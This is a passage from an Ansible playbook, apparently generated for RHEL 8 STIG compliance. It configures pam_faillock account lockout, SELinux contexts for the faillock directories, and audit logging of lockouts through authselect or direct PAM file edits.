    - DISA-STIG-RHEL-08-020025
    - NIST-800-53-AC-7 (a)
    - account_password_pam_faillock_system_auth
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: An SELinux Context must be configured for the pam_faillock.so records directory
      - Get directories from faillock
    ansible.builtin.shell: grep -oP '^\s*(?:auth.*pam_faillock.so.*)?dir\s*=\s*(\S+)'
      &quot;{{ item }}&quot; | sed -r 's/.*=\s*(\S+)/\1/'
    register: faillock_output
    changed_when: false
    check_mode: false
    with_items:
    - /etc/security/faillock.conf
    - /etc/pam.d/system-auth
    - /etc/pam.d/password-auth
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020027
    - DISA-STIG-RHEL-08-020028
    - NIST-800-53-AC-7 (a)
    - account_password_selinux_faillock_dir
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: An SELinux Context must be configured for the pam_faillock.so records directory
      - Create a list directories from faillock
    ansible.builtin.set_fact:
      list_faillock_dir: '{{ faillock_output.results | map(attribute=''stdout_lines'')
        | flatten }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020027
    - DISA-STIG-RHEL-08-020028
    - NIST-800-53-AC-7 (a)
    - account_password_selinux_faillock_dir
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: An SELinux Context must be configured for the pam_faillock.so records directory
      - Create directories for faillock
    ansible.builtin.file:
      path: '{{ item }}'
      state: directory
    with_items: '{{ list_faillock_dir }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item != &quot;&quot;
    tags:
    - DISA-STIG-RHEL-08-020027
    - DISA-STIG-RHEL-08-020028
    - NIST-800-53-AC-7 (a)
    - account_password_selinux_faillock_dir
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: An SELinux Context must be configured for the pam_faillock.so records directory
      - Get SELinux context for faillock directories
    ansible.builtin.command: ls -dZ &quot;{{ item }}&quot;
    register: faillock_selinux_context
    changed_when: false
    check_mode: false
    with_items: '{{ list_faillock_dir }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item != &quot;&quot;
    tags:
    - DISA-STIG-RHEL-08-020027
    - DISA-STIG-RHEL-08-020028
    - NIST-800-53-AC-7 (a)
    - account_password_selinux_faillock_dir
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: An SELinux Context must be configured for the pam_faillock.so records directory
      - Set up SELinux context for faillock
    ansible.builtin.shell: |-
      if ! semanage fcontext -a -t faillog_t &quot;{{ item.item }}(/.*)?&quot;; then
        semanage fcontext -m -t faillog_t &quot;{{ item.item }}(/.*)?&quot;
      fi
    with_items: '{{ faillock_selinux_context.results }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.item != &quot;&quot;
    - item.stdout is defined
    - '&quot;faillog_t&quot; not in item.stdout'
    tags:
    - DISA-STIG-RHEL-08-020027
    - DISA-STIG-RHEL-08-020028
    - NIST-800-53-AC-7 (a)
    - account_password_selinux_faillock_dir
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: An SELinux Context must be configured for the pam_faillock.so records directory
      - Restore SELinux context
    ansible.builtin.command: restorecon -R -v &quot;{{ item.item }}&quot;
    with_items: '{{ faillock_selinux_context.results }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.item != &quot;&quot;
    - item.stdout is defined
    - '&quot;faillog_t&quot; not in item.stdout'
    tags:
    - DISA-STIG-RHEL-08-020027
    - DISA-STIG-RHEL-08-020028
    - NIST-800-53-AC-7 (a)
    - account_password_selinux_faillock_dir
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: An SELinux Context must be configured for the pam_faillock.so records directory
      - Verify pam_faillock.so configuration
    ansible.builtin.debug:
      msg: |-
        &quot;The pam_faillock.so dir option is not set in the system.
        If this is not expected, make sure pam_faillock.so is properly configured.&quot;
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - list_faillock_dir | length == 0
    tags:
    - DISA-STIG-RHEL-08-020027
    - DISA-STIG-RHEL-08-020028
    - NIST-800-53-AC-7 (a)
    - account_password_selinux_faillock_dir
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Account Lockouts Must Be Logged - Check if system relies on authselect tool
    ansible.builtin.stat:
      path: /usr/bin/authselect
    register: result_authselect_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    tags:
    - DISA-STIG-RHEL-08-020021
    - NIST-800-53-AC-7 (a)
    - accounts_passwords_pam_faillock_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Account Lockouts Must Be Logged - Remediation where authselect tool is present
    block:

    - name: Account Lockouts Must Be Logged - Check integrity of authselect current
        profile
      ansible.builtin.command:
        cmd: authselect check
      register: result_authselect_check_cmd
      changed_when: false
      check_mode: false
      failed_when: false

    - name: Account Lockouts Must Be Logged - Informative message based on the authselect
        integrity check result
      ansible.builtin.assert:
        that:
        - ansible_check_mode or result_authselect_check_cmd.rc == 0
        fail_msg:
        - authselect integrity check failed. Remediation aborted!
        - This remediation could not be applied because an authselect profile was
          not selected or the selected profile is not intact.
        - It is not recommended to manually edit the PAM files when authselect tool
          is available.
        - In cases where the default authselect profile does not cover a specific
          demand, a custom authselect profile is recommended.
        success_msg:
        - authselect integrity check passed

    - name: Account Lockouts Must Be Logged - Get authselect current features
      ansible.builtin.shell:
        cmd: authselect current | tail -n+3 | awk '{ print $2 }'
      register: result_authselect_features
      changed_when: false
      check_mode: false
      when:
      - result_authselect_check_cmd is success

    - name: Account Lockouts Must Be Logged - Ensure &quot;with-faillock&quot; feature is enabled
        using authselect tool
      ansible.builtin.command:
        cmd: authselect enable-feature with-faillock
      register: result_authselect_enable_feature_cmd
      when:
      - result_authselect_check_cmd is success
      - result_authselect_features.stdout is not search(&quot;with-faillock&quot;)

    - name: Account Lockouts Must Be Logged - Ensure authselect changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_enable_feature_cmd is not skipped
      - result_authselect_enable_feature_cmd is success
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    - result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020021
    - NIST-800-53-AC-7 (a)
    - accounts_passwords_pam_faillock_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Account Lockouts Must Be Logged - Remediation where authselect tool is not
      present
    block:

    - name: Account Lockouts Must Be Logged - Check if pam_faillock.so is already
        enabled
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail)
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_is_enabled

    - name: Account Lockouts Must Be Logged - Enable pam_faillock.so preauth editing
        PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so preauth
        insertbefore: ^auth.*sufficient.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Account Lockouts Must Be Logged - Enable pam_faillock.so authfail editing
        PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so authfail
        insertbefore: ^auth.*required.*pam_deny\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Account Lockouts Must Be Logged - Enable pam_faillock.so account section
        editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: account     required      pam_faillock.so
        insertbefore: ^account.*required.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    - not result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020021
    - NIST-800-53-AC-7 (a)
    - accounts_passwords_pam_faillock_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Account Lockouts Must Be Logged - Check the presence of /etc/security/faillock.conf
      file
    ansible.builtin.stat:
      path: /etc/security/faillock.conf
    register: result_faillock_conf_check
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    tags:
    - DISA-STIG-RHEL-08-020021
    - NIST-800-53-AC-7 (a)
    - accounts_passwords_pam_faillock_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Account Lockouts Must Be Logged - Ensure the pam_faillock.so audit parameter
      in /etc/security/faillock.conf
    ansible.builtin.lineinfile:
      path: /etc/security/faillock.conf
      regexp: ^\s*audit
      line: audit
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    - result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020021
    - NIST-800-53-AC-7 (a)
    - accounts_passwords_pam_faillock_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Account Lockouts Must Be Logged - Ensure the pam_faillock.so audit parameter
      not in PAM files
    block:

    - name: Account Lockouts Must Be Logged - Check if /etc/pam.d/system-auth file
        is present
      ansible.builtin.stat:
        path: /etc/pam.d/system-auth
      register: result_pam_auth_file_present

    - name: Account Lockouts Must Be Logged - Check the proper remediation for the
        system
      block:

      - name: Account Lockouts Must Be Logged - Define the PAM file to be edited as
          a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/system-auth

      - name: Account Lockouts Must Be Logged - Check if system relies on authselect
          tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Account Lockouts Must Be Logged - Ensure authselect custom profile is
          used if authselect is present
        block:

        - name: Account Lockouts Must Be Logged - Check integrity of authselect current
            profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Account Lockouts Must Be Logged - Informative message based on the
            authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Account Lockouts Must Be Logged - Get authselect current profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Account Lockouts Must Be Logged - Define the current authselect profile
            as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Account Lockouts Must Be Logged - Define the new authselect custom
            profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Account Lockouts Must Be Logged - Get authselect current features
            to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Account Lockouts Must Be Logged - Check if any custom profile with
            the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Account Lockouts Must Be Logged - Create an authselect custom profile
            based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Account Lockouts Must Be Logged - Create an authselect custom profile
            based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Account Lockouts Must Be Logged - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Account Lockouts Must Be Logged - Ensure the authselect custom profile
            is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Account Lockouts Must Be Logged - Restore the authselect features
            in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Account Lockouts Must Be Logged - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Account Lockouts Must Be Logged - Change the PAM file to be edited
            according to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Account Lockouts Must Be Logged - Define a fact for control already
          filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Account Lockouts Must Be Logged - Check if {{ pam_file_path }} file
          is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Account Lockouts Must Be Logged - Ensure the &quot;audit&quot; option from &quot;pam_faillock.so&quot;
          is not present in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\baudit\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Account Lockouts Must Be Logged - Ensure authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_auth_file_present.stat.exists

    - name: Account Lockouts Must Be Logged - Check if /etc/pam.d/password-auth file
        is present
      ansible.builtin.stat:
        path: /etc/pam.d/password-auth
      register: result_pam_password_auth_file_present

    - name: Account Lockouts Must Be Logged - Check the proper remediation for the
        system
      block:

      - name: Account Lockouts Must Be Logged - Define the PAM file to be edited as
          a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/password-auth

      - name: Account Lockouts Must Be Logged - Check if system relies on authselect
          tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Account Lockouts Must Be Logged - Ensure authselect custom profile is
          used if authselect is present
        block:

        - name: Account Lockouts Must Be Logged - Check integrity of authselect current
            profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Account Lockouts Must Be Logged - Informative message based on the
            authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Account Lockouts Must Be Logged - Get authselect current profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Account Lockouts Must Be Logged - Define the current authselect profile
            as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Account Lockouts Must Be Logged - Define the new authselect custom
            profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Account Lockouts Must Be Logged - Get authselect current features
            to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Account Lockouts Must Be Logged - Check if any custom profile with
            the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Account Lockouts Must Be Logged - Create an authselect custom profile
            based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Account Lockouts Must Be Logged - Create an authselect custom profile
            based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Account Lockouts Must Be Logged - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Account Lockouts Must Be Logged - Ensure the authselect custom profile
            is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Account Lockouts Must Be Logged - Restore the authselect features
            in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Account Lockouts Must Be Logged - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Account Lockouts Must Be Logged - Change the PAM file to be edited
            according to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Account Lockouts Must Be Logged - Define a fact for control already
          filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Account Lockouts Must Be Logged - Check if {{ pam_file_path }} file
          is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Account Lockouts Must Be Logged - Ensure the &quot;audit&quot; option from &quot;pam_faillock.so&quot;
          is not present in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\baudit\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Account Lockouts Must Be Logged - Ensure authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_password_auth_file_present.stat.exists
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    - result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020021
    - NIST-800-53-AC-7 (a)
    - accounts_passwords_pam_faillock_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Account Lockouts Must Be Logged - Ensure the pam_faillock.so audit parameter
      in PAM files
    block:

    - name: Account Lockouts Must Be Logged - Check if pam_faillock.so audit parameter
        is already enabled in pam files
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail).*audit
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_audit_parameter_is_present

    - name: Account Lockouts Must Be Logged - Ensure the inclusion of pam_faillock.so
        preauth audit parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth.*)
        line: \1required\3 audit
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_audit_parameter_is_present.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    - not result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020021
    - NIST-800-53-AC-7 (a)
    - accounts_passwords_pam_faillock_audit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Lock Accounts After Failed Password Attempts - Check if system relies on
      authselect tool
    ansible.builtin.stat:
      path: /usr/bin/authselect
    register: result_authselect_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020011
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.6
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_deny
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Lock Accounts After Failed Password Attempts - Remediation where authselect
      tool is present
    block:

    - name: Lock Accounts After Failed Password Attempts - Check integrity of authselect
        current profile
      ansible.builtin.command:
        cmd: authselect check
      register: result_authselect_check_cmd
      changed_when: false
      check_mode: false
      failed_when: false

    - name: Lock Accounts After Failed Password Attempts - Informative message based
        on the authselect integrity check result
      ansible.builtin.assert:
        that:
        - ansible_check_mode or result_authselect_check_cmd.rc == 0
        fail_msg:
        - authselect integrity check failed. Remediation aborted!
        - This remediation could not be applied because an authselect profile was
          not selected or the selected profile is not intact.
        - It is not recommended to manually edit the PAM files when authselect tool
          is available.
        - In cases where the default authselect profile does not cover a specific
          demand, a custom authselect profile is recommended.
        success_msg:
        - authselect integrity check passed

    - name: Lock Accounts After Failed Password Attempts - Get authselect current
        features
      ansible.builtin.shell:
        cmd: authselect current | tail -n+3 | awk '{ print $2 }'
      register: result_authselect_features
      changed_when: false
      check_mode: false
      when:
      - result_authselect_check_cmd is success

    - name: Lock Accounts After Failed Password Attempts - Ensure &quot;with-faillock&quot;
        feature is enabled using authselect tool
      ansible.builtin.command:
        cmd: authselect enable-feature with-faillock
      register: result_authselect_enable_feature_cmd
      when:
      - result_authselect_check_cmd is success
      - result_authselect_features.stdout is not search(&quot;with-faillock&quot;)

    - name: Lock Accounts After Failed Password Attempts - Ensure authselect changes
        are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_enable_feature_cmd is not skipped
      - result_authselect_enable_feature_cmd is success
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_authselect_present.stat.exists
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020011
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.6
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_deny
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Lock Accounts After Failed Password Attempts - Remediation where authselect
      tool is not present
    block:

    - name: Lock Accounts After Failed Password Attempts - Check if pam_faillock.so
        is already enabled
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail)
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_is_enabled

    - name: Lock Accounts After Failed Password Attempts - Enable pam_faillock.so
        preauth editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so preauth
        insertbefore: ^auth.*sufficient.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Lock Accounts After Failed Password Attempts - Enable pam_faillock.so
        authfail editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so authfail
        insertbefore: ^auth.*required.*pam_deny\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Lock Accounts After Failed Password Attempts - Enable pam_faillock.so
        account section editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: account     required      pam_faillock.so
        insertbefore: ^account.*required.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not result_authselect_present.stat.exists
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020011
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.6
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_deny
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Lock Accounts After Failed Password Attempts - Check the presence of /etc/security/faillock.conf
      file
    ansible.builtin.stat:
      path: /etc/security/faillock.conf
    register: result_faillock_conf_check
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020011
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.6
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_deny
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Lock Accounts After Failed Password Attempts - Ensure the pam_faillock.so
      deny parameter in /etc/security/faillock.conf
    ansible.builtin.lineinfile:
      path: /etc/security/faillock.conf
      regexp: ^\s*deny\s*=
      line: deny = {{ var_accounts_passwords_pam_faillock_deny }}
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_faillock_conf_check.stat.exists
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020011
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.6
